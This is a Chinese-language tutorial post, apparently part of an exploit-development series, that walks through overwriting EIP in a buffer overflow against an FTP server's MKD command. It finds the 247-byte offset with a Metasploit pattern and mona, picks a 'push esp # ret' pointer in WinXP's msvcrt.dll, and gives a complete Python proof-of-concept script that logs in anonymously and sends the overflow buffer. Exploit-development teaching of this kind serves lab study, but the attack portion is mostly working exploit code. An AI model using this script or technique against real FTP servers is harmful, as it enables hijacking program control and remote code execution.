返回介绍

改写 EIP

发布于 2025-01-03 23:32:52 字数 2000 浏览 0 评论 0 收藏 0

接下来分析这个崩溃,为了方便我用 metasploit 模式字符串替换替换前面的 AAAAA…., 注意保持原始的缓冲区大小,变化大小可能会影响崩溃。

当程序再次崩溃,再看看 EIP 已经被 metasploit 模式字符串覆写. 现在是时候出动”mona”了. 使用下面的命令分析程序崩溃,你可以看到下面的结果。

由上图我们可以知道 EIP 在 247 字节后被覆盖. 同样看看 ESP 指向的缓冲区包含了更多我们可控的空间. 知道这些信息后,我们重新布置脚本如下:

Evil= “A”*247 + “B”*4 +”C”*749

再次运行这个脚本,结果正如所料. EIP 被覆写为 BBBB.

这意味着我们可以用一个指针替换 BBBB, 将程序重定向到 ESP 所指的地方. 唯一需要注意的是这个指针不能包含坏字符. 可以使用”mona”

!mona jmp –r esp

搜索这个指针. 下图是结果:

似乎这些指针都可以. 它们特定于”WinXP PRO SP3”的系统 dll 模块. 但这不是我们首要关注的.我们用列表第一个指针. 记住:由于 cpu 是小序,所以指针需要逆序。

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749

强调一下你应该根据你的实际情况作调整,最后的 POC 像下面这样:

#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

用调试器附加程序,运行这个脚本. 我们可以看到 EIP 已经被我们的指针覆盖掉了。接下来就能执行到 ESP 所指的地方了。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文